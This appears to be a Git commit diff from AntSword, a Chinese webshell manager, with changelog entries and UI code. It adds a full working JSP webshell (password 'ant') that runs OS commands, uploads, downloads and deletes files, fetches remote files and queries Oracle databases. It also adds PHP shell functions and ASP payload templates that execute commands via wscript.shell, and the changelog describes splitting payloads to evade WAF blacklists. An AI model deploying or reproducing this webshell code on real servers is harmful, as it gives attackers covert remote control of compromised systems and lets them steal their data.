Commit 2a38617c authored by Medicean's avatar Medicean

Merge branch 'v2.0.x' into v2.1.x

parents 7944b3e5 b7af5467
...@@ -2,27 +2,121 @@ ...@@ -2,27 +2,121 @@
> 有空会补补BUG、添添新功能。 > 有空会补补BUG、添添新功能。
> 同时也欢迎大家的参与!感谢各位朋友的支持! .TAT. > 同时也欢迎大家的参与!感谢各位朋友的支持! .TAT.
## `v(2.0.6-dev)` ## `v(2.0.7.1)`
### 安全更新 (重要)
* Fix toastr 输出时未过滤导致的 xss 漏洞, 由于在 webview 中开启了 nodejs 功能, 可借此引起 RCE #147 (thx @ev0A)
> 为了防止插件中 toastr 出现类似问题, 修改了 toastr 可以输出 html 的特点,以后均不支持输出 html
### 其它
* 修正错别字 #145
## 2019/04/08 `v(2.0.7)`
### 核心
* 执行命令新增 `antsystem` 函数, 具体见: https://github.com/AntSwordProject/ant_php_extension
* Fix 编码器保存后不生效的问题 #135 (thx @K4ngx)
* Fix core download 参数遗漏问题 #142 (thx @RoyTse)
* Fix #141 (thx @RoyTse)
### 虚拟终端
* 新增自定义命令 `aslistcmd`, 列出可使用的命令解释器 (#123)
![aslistcmd.png](https://i.loli.net/2019/04/05/5ca74815a01a4.png)
![aslistcmd_win.png](https://i.loli.net/2019/04/05/5ca74819b276e.png)
* 新增自定义命令 `aspowershell [on|off]`, 开启/关闭 PowerShell 模式
> 如果`ascmd`命令指定的PowerShell解释器文件名中包函`powershell`关键字, 会自动启用 PowerShell 模式, 如下图:
![aspowershell_default](https://i.loli.net/2019/04/05/5ca753673efe7.png)
> 如果指定的 PowerShell 解释器文件名中不包含 `powershell` 关键字, 则需要手动使用该命令,启用 PowerShell 模式。如果关闭了 PowerShell 模式,则会执行出错,如下图:
![aspowershell_switch](https://i.loli.net/2019/04/05/5ca75368d85fa.png)
### 其它
* 修复默认设置保存时导致 bookmarks 清空的问题
* PHP Custom Shell 新增 listcmd 功能
* PHP Custom Shell 新增数据库支持函数检查接口
* 新增「繁體中文(香港)」和「繁體中文(台灣)」两种语言
## 2019/03/20 `v(2.0.6)`
### 后端模块 ### 后端模块
* 分块传输自动根据黑名单字符(eg: eval, assert, execute, response 等)进行随机切割(thx @phith0n) * 分块传输自动根据黑名单字符(eg: eval, assert, execute, response 等)进行随机切割(thx @phith0n)
### 数据管理 ### 数据管理
* 新增「测试连接」功能 * 新增「测试连接」功能
* 新增「检测」功能, 检测支持的数据库函数(目前仅 PHP,ASP,ASPX 有效, ASP(X)仅检测使用到的组件是否存在) * 新增「检测」功能, 检测支持的数据库函数(目前仅 PHP,ASP,ASPX 有效, ASP(X)仅检测使用到的组件是否存在)
* 新增 php sqlsrv 连接方式, php5.3之后 mssql 默认不存在,可使用该类型连接 sqlserver >= 2008 * 新增 php `sqlsrv` 连接方式, php5.3之后 mssql 默认不存在,可使用该类型连接 sqlserver >= 2008
> 如果直连shell本地sqlserver, host 部分填 localhost 或者 (local) > 如果直连shell本地sqlserver, host 部分填 localhost 或者 (local)
>
> 如果连接外部,使用 ip,port > 如果连接外部,使用 ip,port
* 新增 php `oracle_oci8` 连接方式, 用于连接 oracle 8i,9i,10g,11g,12c
> host 部分填写: localhost/orcl 或者 localhost:1521/orcl
>
> 参考: http://php.net/manual/zh/function.oci-connect.php connection_string 部分
* 新增 PHP PostgreSQL 类型数据库操作
* 新增 PHP PostgreSQL_PDO 类型数据库操作 #133 (thx @B0y1n4o4)
* 优化 asp(x) Oracle 类型数据库操作
* 优化 asp(x) SQLServer 类型数据库操作
* 优化SQLServer类型数据库默认查询语句 * 优化SQLServer类型数据库默认查询语句
* php数据管理解析数据时自动猜解编码 * php数据管理解析数据时自动猜解编码
### 文件管理
* 新增「在此处打开终端」功能, 打开终端后快速跳到当前目录下
* 新增「全局书签」功能, 可在「系统设置-默认设置」单击鼠标右键添加
![](https://i.loli.net/2019/03/13/5c891b279c26a.png)
![](https://i.loli.net/2019/03/13/5c891b2cc1c30.png)
### 数据管理
* shell 配置页面提示不推荐使用 default、random 编码器, 明文传输 Payload 容易受到转义等影响,未来版本将会考虑移除
* 新增「创建副本」菜单, 复制所选择的 Shell 并在相同分类下创建一个副本
* 新增「搜索数据」功能, 搜索本地数据,范围为当前分类下的 Shell
可选搜索字段: URL(URL地址), Password(密码), Remark(备注), All(在以上几个字段中出现)
> 如果想搜索其它类型的字段, 可直接在类型框中输入想要搜索的字段
>
> 例如搜索 IP地址, 可在搜索字段选择框中输入: ip
>
> 具体字段类型名请直接查阅 antData/db.ant
唤醒快捷键 Ctrl+Shift+F 或者 Command + Shift + F (OSX)
退出:
1) 点击搜索框之外的任何区域
2) 按下 `ESC`
3) 再次按下唤醒快捷键
> 在使用快捷键时,如果当前活动 tab 不是数据管理,则会自动跳回数据管理
### 其它 ### 其它
* 新增 「JSP Custom Shell For Oracle」
* 新增 Decodes 自动猜解编码,在中文少量的情况下,成功率会降低 * 新增 Decodes 自动猜解编码,在中文少量的情况下,成功率会降低
* 系统托盘新增「重启应用」菜单
* 虚拟终端打开后提示本地命令菜单 ashelp
### BugFix ### BugFix
......
# AntSword [![release](https://img.shields.io/badge/release-v2.0.5.3-blue.svg?style=flat-square)][url-release] # AntSword [![release](https://img.shields.io/badge/release-v2.0.7-blue.svg?style=flat-square)][url-release]
> AntSword in your hands, no worries in your mind! > AntSword in your hands, no worries in your mind!
......
# 中国蚁剑 [![release](https://img.shields.io/badge/release-v2.0.5.3-blue.svg?style=flat-square)][url-release] # 中国蚁剑 [![release](https://img.shields.io/badge/release-v2.0.7-blue.svg?style=flat-square)][url-release]
> 一剑在手,纵横无忧! > 一剑在手,纵横无忧!
......
...@@ -48,6 +48,27 @@ class Database { ...@@ -48,6 +48,27 @@ class Database {
.on('shell-getPluginDataConf', this.getPluginDataConf.bind(this)); .on('shell-getPluginDataConf', this.getPluginDataConf.bind(this));
} }
convertOptstoNedbQuery(opts={}) {
var self = this;
if(opts instanceof Array) {
for (let i = 0; i < opts.length; i++) {
opts[i] = self.convertOptstoNedbQuery(opts[i]);
}
}else if(opts instanceof Object) {
Object.keys(opts).map((f) => {
if(opts[f] instanceof Object) {
opts[f] = self.convertOptstoNedbQuery(opts[f]);
}
if(f == "$regex") {
if(opts[f].charAt(0) == '*') {
opts[f] = opts[f].substring(1);
}
opts[f] = new RegExp(opts[f], 'i');
}
});
}
return opts;
}
/** /**
* 查询shell数据 * 查询shell数据
* @param {Object} event ipcMain对象 * @param {Object} event ipcMain对象
...@@ -55,6 +76,7 @@ class Database { ...@@ -55,6 +76,7 @@ class Database {
* @return {[type]} [description] * @return {[type]} [description]
*/ */
findShell(event, opts = {}) { findShell(event, opts = {}) {
opts = this.convertOptstoNedbQuery(opts);
logger.debug('findShell', opts); logger.debug('findShell', opts);
this.cursor this.cursor
.find(opts) .find(opts)
......
...@@ -109,6 +109,12 @@ class Menubar { ...@@ -109,6 +109,12 @@ class Menubar {
label: LANG['edit']['paste'], accelerator: 'CmdOrCtrl+V', role: 'paste' label: LANG['edit']['paste'], accelerator: 'CmdOrCtrl+V', role: 'paste'
}, { }, {
type: 'separator' type: 'separator'
}, {
label: LANG['edit']['search'],
accelerator: 'Shift+CmdOrCtrl+F',
click: event.sender.send.bind(event.sender, 'menubar', 'shellmanager-search')
}, {
type: 'separator'
}, { }, {
label: LANG['edit']['selectall'], accelerator: 'CmdOrCtrl+A', role: 'selectall' label: LANG['edit']['selectall'], accelerator: 'CmdOrCtrl+A', role: 'selectall'
} }
...@@ -142,7 +148,7 @@ class Menubar { ...@@ -142,7 +148,7 @@ class Menubar {
if (this.electron.BrowserWindow.getAllWindows().length > 1) { if (this.electron.BrowserWindow.getAllWindows().length > 1) {
return; return;
} }
this.mainWindow.webContents.reload();//.bind(this.mainWindow.webContents) this.mainWindow.webContents.loadURL('ant-views://index.html');//.bind(this.mainWindow.webContents)
} }
}, { }, {
label: LANG['debug']['devtools'], label: LANG['debug']['devtools'],
...@@ -185,6 +191,15 @@ class Menubar { ...@@ -185,6 +191,15 @@ class Menubar {
}, { }, {
label: LANG['tray']['settings'], label: LANG['tray']['settings'],
click: event.sender.send.bind(event.sender, 'menubar', 'settings') click: event.sender.send.bind(event.sender, 'menubar', 'settings')
}, {
label: LANG['debug']['restart'],
click: () => {
// 在有多个窗口的时候,不刷新
if (this.electron.BrowserWindow.getAllWindows().length > 1) {
return;
}
this.mainWindow.webContents.loadURL('ant-views://index.html');
}
}, { }, {
label: LANG['tray']['about'], label: LANG['tray']['about'],
click: event.sender.send.bind(event.sender, 'menubar', 'settings-about') click: event.sender.send.bind(event.sender, 'menubar', 'settings-about')
......
{ {
"name": "antsword", "name": "antsword",
"version": "2.0.5.3", "version": "2.0.7.1",
"lockfileVersion": 1, "lockfileVersion": 1,
"requires": true, "requires": true,
"dependencies": { "dependencies": {
......
{ {
"name": "antsword", "name": "antsword",
"version": "2.0.5.3", "version": "2.0.7.1",
"description": "中国蚁剑是一款跨平台的开源网站管理工具", "description": "中国蚁剑是一款跨平台的开源网站管理工具",
"main": "app.js", "main": "app.js",
"dependencies": { "dependencies": {
......
<%--
_ ____ _
__ _ _ __ | |_/ ___|_ _____ _ __ __| |
/ _` | '_ \| __\___ \ \ /\ / / _ \| '__/ _` |
| (_| | | | | |_ ___) \ V V / (_) | | | (_| |
\__,_|_| |_|\__|____/ \_/\_/ \___/|_| \__,_|
———————————————————————————————————————————————
AntSword JSP Custom Script for Oracle
警告:
此脚本仅供合法的渗透测试以及爱好者参考学习
请勿用于非法用途,否则将追究其相关责任!
———————————————————————————————————————————————
说明:
1. AntSword >= v1.1-dev
2. 创建 Shell 时选择 custom 模式连接
3. 数据库连接:
oracle.jdbc.driver.OracleDriver
jdbc:oracle:thin:@127.0.0.1:1521/test
user
password
注意:以上是4行
4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空
已知问题:
1. 文件管理遇到中文文件名显示的问题
ChangeLog:
--%>
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*" contentType="text/html;charset=UTF-8"%>
<%!
// ################################################
String Pwd = "ant"; //连接密码
// 数据编码 3 选 1
String encoder = ""; // default
// String encoder = "base64"; //base64
// String encoder = "hex"; //hex(推荐)
String cs = "UTF-8"; // 编码方式
// ################################################
String EC(String s) throws Exception {
if(encoder.equals("hex") || encoder == "hex") return s;
return new String(s.getBytes(), cs);
}
String showDatabases(String encode, String conn) throws Exception {
String sql = "SELECT USERNAME FROM ALL_USERS ORDER BY 1";
String columnsep = "\t";
String rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}
String showTables(String encode, String conn, String dbname) throws Exception {
String sql = "SELECT TABLE_NAME FROM (SELECT TABLE_NAME FROM ALL_TABLES WHERE OWNER='"+dbname+"' ORDER BY 1)";
String columnsep = "\t";
String rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}
String showColumns(String encode, String conn, String dbname, String table) throws Exception {
String columnsep = "\t";
String rowsep = "";
String sql = "select * from " + dbname + "." + table + " WHERE ROWNUM=0";
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}
String query(String encode, String conn, String sql) throws Exception {
String columnsep = "\t|\t";
String rowsep = "\r\n";
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}
String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname)
throws Exception {
String ret = "";
conn = (EC(conn));
String[] x = conn.trim().replace("\r\n", "\n").split("\n");
Class.forName(x[0].trim());
String url = x[1];
Connection c = DriverManager.getConnection(url,x[2],x[3]);
Statement stmt = c.createStatement();
ResultSet rs = stmt.executeQuery(sql);
ResultSetMetaData rsmd = rs.getMetaData();
if (needcoluname) {
for (int i = 1; i <= rsmd.getColumnCount(); i++) {
String columnName = rsmd.getColumnName(i);
ret += columnName + columnsep;
}
ret += rowsep;
}
while (rs.next()) {
for (int i = 1; i <= rsmd.getColumnCount(); i++) {
String columnValue = rs.getString(i);
ret += columnValue + columnsep;
}
ret += rowsep;
}
return ret;
}
String WwwRootPathCode(String d) throws Exception {
String s = "";
if (!d.substring(0, 1).equals("/")) {
File[] roots = File.listRoots();
for (int i = 0; i < roots.length; i++) {
s += roots[i].toString().substring(0, 2) + "";
}
} else {
s += "/";
}
return s;
}
String FileTreeCode(String dirPath) throws Exception {
File oF = new File(dirPath), l[] = oF.listFiles();
String s = "", sT, sQ, sF = "";
java.util.Date dt;
String fileCode=(String)System.getProperties().get("file.encoding");
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
for (int i = 0; i < l.length; i++) {
dt = new java.util.Date(l[i].lastModified());
sT = fm.format(dt);
sQ = l[i].canRead() ? "R" : "";
sQ += l[i].canWrite() ? " W" : "";
String nm = new String(l[i].getName().getBytes(fileCode), cs);
if (l[i].isDirectory()) {
s += nm + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
} else {
sF += nm + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
}
}
s += sF;
return new String(s.getBytes(fileCode), cs);
}
String ReadFileCode(String filePath) throws Exception {
String l = "", s = "";
BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath)), cs));
while ((l = br.readLine()) != null) {
s += l + "\r\n";
}
br.close();
return s;
}
String WriteFileCode(String filePath, String fileContext) throws Exception {
String h = "0123456789ABCDEF";
String fileHexContext = strtohexstr(fileContext);
File f = new File(filePath);
FileOutputStream os = new FileOutputStream(f);
for (int i = 0; i < fileHexContext.length(); i += 2) {
os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
}
os.close();
return "1";
}
String DeleteFileOrDirCode(String fileOrDirPath) throws Exception {
File f = new File(fileOrDirPath);
if (f.isDirectory()) {
File x[] = f.listFiles();
for (int k = 0; k < x.length; k++) {
if (!x[k].delete()) {
DeleteFileOrDirCode(x[k].getPath());
}
}
}
f.delete();
return "1";
}
void DownloadFileCode(String filePath, HttpServletResponse r) throws Exception {
int n;
byte[] b = new byte[512];
r.reset();
ServletOutputStream os = r.getOutputStream();
BufferedInputStream is = new BufferedInputStream(new FileInputStream(filePath));
os.write(("->"+"|").getBytes(), 0, 3);
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
}
os.write(("|"+"<-").getBytes(), 0, 3);
os.close();
is.close();
}
String UploadFileCode(String savefilePath, String fileHexContext) throws Exception {
String h = "0123456789ABCDEF";
File f = new File(savefilePath);
f.createNewFile();
FileOutputStream os = new FileOutputStream(f,true);
for (int i = 0; i < fileHexContext.length(); i += 2) {
os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
}
os.close();
return "1";
}
String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception {
File sf = new File(sourceFilePath), df = new File(targetFilePath);
if (sf.isDirectory()) {
if (!df.exists()) {
df.mkdir();
}
File z[] = sf.listFiles();
for (int j = 0; j < z.length; j++) {
CopyFileOrDirCode(sourceFilePath + "/" + z[j].getName(), targetFilePath + "/" + z[j].getName());
}
} else {
FileInputStream is = new FileInputStream(sf);
FileOutputStream os = new FileOutputStream(df);
int n;
byte[] b = new byte[1024];
while ((n = is.read(b, 0, 1024)) != -1) {
os.write(b, 0, n);
}
is.close();
os.close();
}
return "1";
}
String RenameFileOrDirCode(String oldName, String newName) throws Exception {
File sf = new File(oldName), df = new File(newName);
sf.renameTo(df);
return "1";
}
String CreateDirCode(String dirPath) throws Exception {
File f = new File(dirPath);
f.mkdir();
return "1";
}
String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception {
File f = new File(fileOrDirPath);
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
java.util.Date dt = fm.parse(aTime);
f.setLastModified(dt.getTime());
return "1";
}
String WgetCode(String urlPath, String saveFilePath) throws Exception {
URL u = new URL(urlPath);
int n = 0;
FileOutputStream os = new FileOutputStream(saveFilePath);
HttpURLConnection h = (HttpURLConnection) u.openConnection();
InputStream is = h.getInputStream();
byte[] b = new byte[512];
while ((n = is.read(b)) != -1) {
os.write(b, 0, n);
}
os.close();
is.close();
h.disconnect();
return "1";
}
String SysInfoCode(HttpServletRequest r) throws Exception {
String d = "";
try {
if(r.getSession().getServletContext().getRealPath("/") != null){
d = r.getSession().getServletContext().getRealPath("/");
}else{
String cd = this.getClass().getResource("/").getPath();
d = new File(cd).getParent();
}
} catch (Exception e) {
String cd = this.getClass().getResource("/").getPath();
d = new File(cd).getParent();
}
d = String.valueOf(d.charAt(0)).toUpperCase() + d.substring(1);
String serverInfo = (String)System.getProperty("os.name");
String separator = File.separator;
String user = (String)System.getProperty("user.name");
String driverlist = WwwRootPathCode(d);
return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user;
}
boolean isWin() {
String osname = (String)System.getProperty("os.name");
osname = osname.toLowerCase();
if (osname.startsWith("win"))
return true;
return false;
}
String ExecuteCommandCode(String cmdPath, String command) throws Exception {
StringBuffer sb = new StringBuffer("");
String[] c = { cmdPath, !isWin() ? "-c" : "/c", command };
Process p = Runtime.getRuntime().exec(c);
CopyInputStream(p.getInputStream(), sb);
CopyInputStream(p.getErrorStream(), sb);
return sb.toString();
}
String getEncoding(String str) {
String encode[] = new String[]{
"UTF-8",
"ISO-8859-1",
"GB2312",
"GBK",
"GB18030",
"Big5",
"Unicode",
"ASCII"
};
for (int i = 0; i < encode.length; i++){
try {
if (str.equals(new String(str.getBytes(encode[i]), encode[i]))) {
return encode[i];
}
} catch (Exception ex) {
}
}
return "";
}
String strtohexstr(String fileContext)throws Exception{
String h = "0123456789ABCDEF";
byte[] bytes = fileContext.getBytes(cs);
StringBuilder sb = new StringBuilder(bytes.length * 2);
for (int i = 0; i < bytes.length; i++) {
sb.append(h.charAt((bytes[i] & 0xf0) >> 4));
sb.append(h.charAt((bytes[i] & 0x0f) >> 0));
}
String fileHexContext = sb.toString();
return fileHexContext;
}
String decode(String str) {
byte[] bt = null;
try {
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
bt = decoder.decodeBuffer(str);
} catch (IOException e) {
e.printStackTrace();
}
return new String(bt);
}
String decode(String str, String encode) throws Exception{
if(encode.equals("hex") || encode=="hex"){
if(str=="null"||str.equals("null")){
return "";
}
String hexString = "0123456789ABCDEF";
str = str.toUpperCase();
ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length()/2);
String ss = "";
for (int i = 0; i < str.length(); i += 2){
ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ",";
baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))));
}
return baos.toString(cs);
}else if(encode.equals("base64") || encode == "base64"){
byte[] bt = null;
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
bt = decoder.decodeBuffer(str);
return new String(bt,cs);
}
return str;
}
void CopyInputStream(InputStream is, StringBuffer sb) throws Exception {
String l;
BufferedReader br = new BufferedReader(new InputStreamReader(is, cs));
while ((l = br.readLine()) != null) {
sb.append(l + "\r\n");
}
br.close();
}%>
<%
response.setContentType("text/html");
request.setCharacterEncoding(cs);
response.setCharacterEncoding(cs);
StringBuffer sb = new StringBuffer("");
try {
String funccode = EC(request.getParameter(Pwd) + "");
String z0 = decode(EC(request.getParameter("z0")+""), encoder);
String z1 = decode(EC(request.getParameter("z1") + ""), encoder);
String z2 = decode(EC(request.getParameter("z2") + ""), encoder);
String z3 = decode(EC(request.getParameter("z3") + ""), encoder);
String[] pars = { z0, z1, z2, z3};
sb.append("->" + "|");
if (funccode.equals("B")) {
sb.append(FileTreeCode(pars[1]));
} else if (funccode.equals("C")) {
sb.append(ReadFileCode(pars[1]));
} else if (funccode.equals("D")) {
sb.append(WriteFileCode(pars[1], pars[2]));
} else if (funccode.equals("E")) {
sb.append(DeleteFileOrDirCode(pars[1]));
} else if (funccode.equals("F")) {
DownloadFileCode(pars[1], response);
} else if (funccode.equals("U")) {
sb.append(UploadFileCode(pars[1], pars[2]));
} else if (funccode.equals("H")) {
sb.append(CopyFileOrDirCode(pars[1], pars[2]));
} else if (funccode.equals("I")) {
sb.append(RenameFileOrDirCode(pars[1], pars[2]));
} else if (funccode.equals("J")) {
sb.append(CreateDirCode(pars[1]));
} else if (funccode.equals("K")) {
sb.append(ModifyFileOrDirTimeCode(pars[1], pars[2]));
} else if (funccode.equals("L")) {
sb.append(WgetCode(pars[1], pars[2]));
} else if (funccode.equals("M")) {
sb.append(ExecuteCommandCode(pars[1], pars[2]));
} else if (funccode.equals("N")) {
sb.append(showDatabases(pars[0], pars[1]));
} else if (funccode.equals("O")) {
sb.append(showTables(pars[0], pars[1], pars[2]));
} else if (funccode.equals("P")) {
sb.append(showColumns(pars[0], pars[1], pars[2], pars[3]));
} else if (funccode.equals("Q")) {
sb.append(query(pars[0], pars[1], pars[2]));
} else if (funccode.equals("A")) {
sb.append(SysInfoCode(request));
}
} catch (Exception e) {
sb.append("ERROR" + "://" + e.toString());
}
sb.append("|" + "<-");
out.print(sb.toString());
%>
...@@ -14,7 +14,7 @@ ...@@ -14,7 +14,7 @@
* ——————————————————————————————————————————————— * ———————————————————————————————————————————————
* *
* 使用说明: * 使用说明:
* 1. AntSword >= v1.1-dev * 1. AntSword >= v2.0.7
* 2. 创建 Shell 时选择 custom 模式连接 * 2. 创建 Shell 时选择 custom 模式连接
* 3. 数据库连接: * 3. 数据库连接:
* <H>localhost</H> * <H>localhost</H>
...@@ -24,7 +24,11 @@ ...@@ -24,7 +24,11 @@
* 4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空 * 4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空
* *
* ChangeLog: * ChangeLog:
* Data: 2016/05/13 v1.1 * Date: 2019/04/05 v1.2
* 1. 新增 listcmd 接口
* 2. 新增数据库支持函数检查接口
*
* Date: 2016/05/13 v1.1
* 1. 执行 DML 语句,显示执行状态 * 1. 执行 DML 语句,显示执行状态
* *
* Date: 2016/04/06 v1.0 * Date: 2016/04/06 v1.0
...@@ -336,6 +340,33 @@ function ExecuteCommandCode($cmdPath, $command){ ...@@ -336,6 +340,33 @@ function ExecuteCommandCode($cmdPath, $command){
return ($ret!=0)?"ret={$ret}":""; return ($ret!=0)?"ret={$ret}":"";
} }
function probedb(){
$ret="";
$m=array(
'mysql_close','mysqli_close','mssql_close','sqlsrv_close','ora_close','oci_close',
'ifx_close','sqlite_close','pg_close','dba_close','dbmclose','filepro_fieldcount',
'sybase_close'
);
foreach ($m as $f) {
$ret.=($f."\t".(function_exists($f)?'1':'0')."\n");
}
if(function_exists('pdo_drivers')){
foreach(@pdo_drivers() as $f){
$ret.=("pdo_".$f."\t1\n");
}
}
return $ret;
}
function listcmd($binarr){
$ret="";
$arr=@explode(",", $binarr);
foreach($arr as $v){
$ret.=($v."\t".(@file_exists($v)?"1":"0")."\n");
}
return $ret;
}
@ini_set("display_errors", "0"); @ini_set("display_errors", "0");
@set_time_limit(0); @set_time_limit(0);
@set_magic_quotes_runtime(0); @set_magic_quotes_runtime(0);
...@@ -402,6 +433,12 @@ try { ...@@ -402,6 +433,12 @@ try {
case 'Q': case 'Q':
$ret = query($z0, $z1, $z2); $ret = query($z0, $z1, $z2);
break; break;
case 'Y':
$ret = listcmd($z1);
break;
case 'Z':
$ret = probedb();
break;
default: default:
// $ret = "Wrong Password"; // $ret = "Wrong Password";
break; break;
......
...@@ -8,5 +8,21 @@ module.exports = (arg1, arg2) => ({ ...@@ -8,5 +8,21 @@ module.exports = (arg1, arg2) => ({
`Set X=CreateObject("wscript.shell").exec(""""&bd(Request("${arg1}"))&""" /c """&bd(Request("${arg2}"))&""""):If Err Then:S="[Err] "&Err.Description:Err.Clear:Else:O=X.StdOut.ReadAll():E=X.StdErr.ReadAll():S=O&E:End If:Response.write(S)`, `Set X=CreateObject("wscript.shell").exec(""""&bd(Request("${arg1}"))&""" /c """&bd(Request("${arg2}"))&""""):If Err Then:S="[Err] "&Err.Description:Err.Clear:Else:O=X.StdOut.ReadAll():E=X.StdErr.ReadAll():S=O&E:End If:Response.write(S)`,
[arg1]: "#{hex::bin}", [arg1]: "#{hex::bin}",
[arg2]: "#{hex::cmd}" [arg2]: "#{hex::cmd}"
},
listcmd: {
_:
`AA=Split(""&bd(Request("${arg1}"))&"",","):
Set FS=CreateObject("Scripting.FileSystemObject"):
For Each A in AA:
Response.Write(A&chr(9)):
If FS.FileExists(A) Then:
Response.Write("1"):
Else:
Response.Write("0"):
End If:
Response.Write(chr(10)):
Next
`.replace(/\n\s+/g, ''),
[arg1]: "#{hex::binarr}",
} }
}) })
...@@ -6,27 +6,128 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -6,27 +6,128 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _:
`Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open bd(Request("${arg1}")):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="[ADO DATABASE]"&chr(9):Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`, `Set Conn=Server.CreateObject("Adodb.connection"):
Dim SI:
Conn.Open bd(Request("${arg1}")):
If Err Then:
SI="ERROR:// "&Err.Description:
Err.Clear:
Else:
Set Rs=Conn.Execute("SELECT USERNAME FROM ALL_USERS ORDER BY 1"):
If Err Then:
SI="ERROR:// "&Err.Description:
Err.Clear:
Else:
Do While Not(Rs.Eof Or Rs.Bof):
SI=SI&Rs(0)&chr(9):
Rs.MoveNext:
Loop:
End If:
Set Rs=Nothing:
Conn.Close:
End If:
Set Conn=Nothing:
Response.Write(SI)`.replace(/\n\s+/g, ''),
[arg1]: '#{hex::conn}' [arg1]: '#{hex::conn}'
}, },
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _:
`Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=Conn.Execute("SELECT TABLE_NAME FROM ALL_TABLES"):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Do While Not(Rs.Eof Or Rs.Bof):SI=SI&Rs(0)&chr(9):Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`, `Set Conn=Server.CreateObject("Adodb.connection"):
[arg1]: '#{hex::conn}' Dim SI:
Conn.Open ""&bd(Request("${arg1}"))&"":
If Err Then:
SI="ERROR:// "&Err.Description:
Err.Clear:
Else:
Set Rs=Conn.Execute("SELECT TABLE_NAME FROM (SELECT TABLE_NAME FROM ALL_TABLES WHERE OWNER='"&Request("${arg2}")&"' ORDER BY 1)"):
If Err Then:
SI="ERROR:// "&Err.Description:
Err.Clear:
Else:
Do While Not(Rs.Eof Or Rs.Bof):
SI=SI&Rs(0)&chr(9):
Rs.MoveNext:
Loop:
End If:
Set Rs=Nothing:
Conn.Close:
End If:
Set Conn=Nothing:
Response.Write(SI)`.replace(/\n\s+/g, ''),
[arg1]: '#{hex::conn}',
[arg2]: '#{dbname}'
}, },
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _:
`Function TN(n):Select Case n:Case 2:TN="smallint":Case 3:TN="int":Case 4:TN="real":Case 5:TN="float":Case 6:TN="money":Case 7:TN="datetime":Case 11:TN="bit":Case 12:TN="variant":Case 16:TN="tinyint":Case 17:TN="tinyint":Case 20:TN="bigint":Case 72:TN="unique":Case 128:TN="binary":Case 129:TN="char":Case 130:TN="nchar":Case 131:TN="numeric":Case 135:TN="datetime":Case 200:TN="varchar":Case 201:TN="text":Case 202:TN="nvarchar":Case 203:TN="ntext":Case 204:TN="varbinary":Case 205:TN="image":Case Else:TN=n:End Select:End Function:Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=CreateObject("Adodb.Recordset"):Rs.open ""&bd(Request("${arg2}"))&"",Conn,1,1:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:For n=0 To Rs.Fields.Count-1:SI=SI&Rs.Fields.Item(n).Name&" ("&TN(Rs.Fields.Item(n).Type)&")"&chr(9):Next:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`, `Set Conn=Server.CreateObject("Adodb.connection"):
Dim SI:
Conn.Open ""&bd(Request("${arg1}"))&"":
If Err Then:
SI="ERROR:// "&Err.Description:
Err.Clear:
Else:
Set Rs=CreateObject("Adodb.Recordset"):
Rs.open ""&bd(Request("${arg2}"))&"",Conn,1,1:
If Err Then:
SI="ERROR:// "&Err.Description:
Err.Clear:
Else:
Dim FN:
FN=Rs.Fields.Count-1:
Do While Not(Rs.Eof Or Rs.Bof):
Response.Write Rs(0)&" ("&Rs(1)&"("&Rs(2)&"))"&chr(9):
Rs.MoveNext:
Loop:
Rs.Close:
End If:
Set Rs=Nothing:
Conn.Close:
End If:
Set Conn=Nothing:
Response.Write(SI)`.replace(/\n\s+/g,''),
[arg1]: '#{hex::conn}', [arg1]: '#{hex::conn}',
[arg2]: '#{hex::table}' [arg2]: '#{hex::table}'
}, },
// 执行SQL语句 // 执行SQL语句
query: { query: {
_: _:
